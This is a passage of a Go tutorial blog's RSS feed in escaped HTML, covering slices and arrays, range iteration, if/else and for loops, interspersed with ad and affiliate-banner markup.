(&amp;hellip;) at the end of the slice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nuevoSlice &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt;[]&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [8 9]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sliceHastaDiez = &lt;span style=&#34;color:#ff5c57&#34;&gt;append&lt;/span&gt;(nuevoSlice, otroSliceExtendido&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// [1 2 3 4 6 5 6 7 8 9 10]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;iterate-through-arrays-and-slices-with-range&#34;&gt;Iterate through arrays and slices with range&lt;/h2&gt;&#xA;&lt;p&gt;Similar to Python syntax, we can traverse an &lt;em&gt;array&lt;/em&gt;, a &lt;em&gt;slice&lt;/em&gt; or a &lt;em&gt;map&lt;/em&gt; (I&amp;rsquo;ll talk about maps in the next post) using &lt;em&gt;range&lt;/em&gt;. Each iteration will return the index and element of the array or slice, or the key and value in the case of maps.&lt;/p&gt;&#xA;&lt;p&gt;Here we iterate over an &lt;em&gt;array&lt;/em&gt;, notice how we are declaring the size beforehand.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; array [&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;]&lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    array[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Nier&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    array[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] = &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hollow knight&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, videojuego &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; array {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(index, videojuego)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the case of a &lt;em&gt;slice&lt;/em&gt;, notice how we do not specify a size between the square brackets.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i, n &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; list {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(i, n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-convert-an-array-into-an-slice-in-go&#34;&gt;How to convert an array into an slice in Go?&lt;/h2&gt;&#xA;&lt;p&gt;To convert an array into a slice in Go, we can use the following syntax &lt;em&gt;[:]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;newArray &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; mySlice[:]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And that&amp;rsquo;s the basics of slices and arrays, for the next post I&amp;rsquo;m going to talk about maps in go.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In go or golang slices, arrays and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;maps&lt;/a&gt;&#xA; are structures for handling data collections. In this entry I am going to talk about the first two: slices and arrays.&lt;/p&gt;&#xA;&lt;p&gt;In this entry I am going to use data types, zero values, and other very basic aspects of go. If you don&amp;rsquo;t know what I&amp;rsquo;m talking about, visit my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;Golang: introduction to the language, variables and data types&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: loops for, break, continue, defer, if and else</title>
      <link>https://coffeebytes.dev/en/go/go-cycles-or-loops-for-break-continue-defer-if-and-else/</link>
      <pubDate>Tue, 07 Dec 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-cycles-or-loops-for-break-continue-defer-if-and-else/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This entry will deal with loops in the go programming language.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go handles loops a little differently than what you are used to. If you&amp;rsquo;re already fluent in any other programming language, you probably remember &lt;em&gt;while&lt;/em&gt;, &lt;em&gt;do while&lt;/em&gt; and for loops. And if you come from Python or Javascript, you&amp;rsquo;ll remember how useful &lt;em&gt;for x in&lt;/em&gt; or &lt;em&gt;for x of&lt;/em&gt; loops are.&lt;/p&gt;&#xA;&lt;p&gt;Well, as there are more than enough loops for. Yes, there is no &lt;em&gt;while&lt;/em&gt; or do &lt;em&gt;while&lt;/em&gt;. But then how do I use the rest of the loops? Read on and I&amp;rsquo;ll explain.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know anything about Go and want to start with the basics visit my entry &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;Golang: introduction, variables and data types&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;If you currently use Python and want to see how it is different from Go, visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/&#34;&gt;python vs go&lt;/a&gt;&#xA;post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;if-and-else&#34;&gt;If and else&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; and &lt;em&gt;else&lt;/em&gt; allow you to execute blocks of code conditionally and keep the same syntax as in almost all languages.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;True&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;False&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;else-if&#34;&gt;else if&lt;/h3&gt;&#xA;&lt;p&gt;And of course go also has an &lt;em&gt;else if&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;edad &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; edad &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Underage&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; edad &amp;gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Adult&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Exactly 18 years old&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;for-loops-types-in-go&#34;&gt;For loops types in Go&lt;/h2&gt;&#xA;&lt;p&gt;In go &lt;strong&gt;there are several types of for&lt;/strong&gt; loops: counter, conditional, range and infinite.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751224927/coffee-bytes/golang-for-loops-schema-diagram_cl20ok.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751224927/coffee-bytes/golang-for-loops-schema-diagram_cl20ok.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified Golang for loops diagram&#34; width=&#34;1564&#34; height=&#34;886&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Simplified Golang for loops diagram&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;loops-with-counter-in-go&#34;&gt;Loops with counter in Go&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;This is the classic loop that you already know from Javascript, C++, etc. In which you declare a variable, specify a condition, and make changes to the variable.&lt;/p&gt;&#xA;&lt;p&gt;We declare &amp;ldquo;i&amp;rdquo; equal to 0, as long as &amp;ldquo;i&amp;rdquo; is less than 10, it executes the next block and subsequently increments &amp;ldquo;i&amp;rdquo; by one, each instruction separated by a semicolon.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;loop-with-conditional-or-while-loops-in-go&#34;&gt;Loop with conditional or while loops in go&lt;/h3&gt;&#xA;&lt;p&gt;In this type of loop a condition is evaluated, if the result is &lt;em&gt;true&lt;/em&gt;, the block is executed, if not, that block of code is skipped.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    This type of for loop would be the equivalent of the while loop in another programming languages&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; counter &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    counter &lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;golangs-loops-with-range&#34;&gt;Golang&amp;rsquo;s loops with range&lt;/h3&gt;&#xA;&lt;p&gt;Range allows us to traverse an iterable structure from beginning to end and allows us to access the respective index and element. It is ideal for traversing &lt;em&gt;arrays&lt;/em&gt;, &lt;em&gt;strings&lt;/em&gt;, &lt;em&gt;slices&lt;/em&gt;, &lt;em&gt;maps&lt;/em&gt;, &lt;em&gt;channels&lt;/em&gt; and any structure that can be traversed.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HelloWorld &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; index, character &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; HelloWorld {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;%d %c \n&amp;#34;&lt;/span&gt;, index, character)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;0  H &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;1  e &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;2  l &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;3  l &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;4  o  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;5   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;6  w &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;7  o 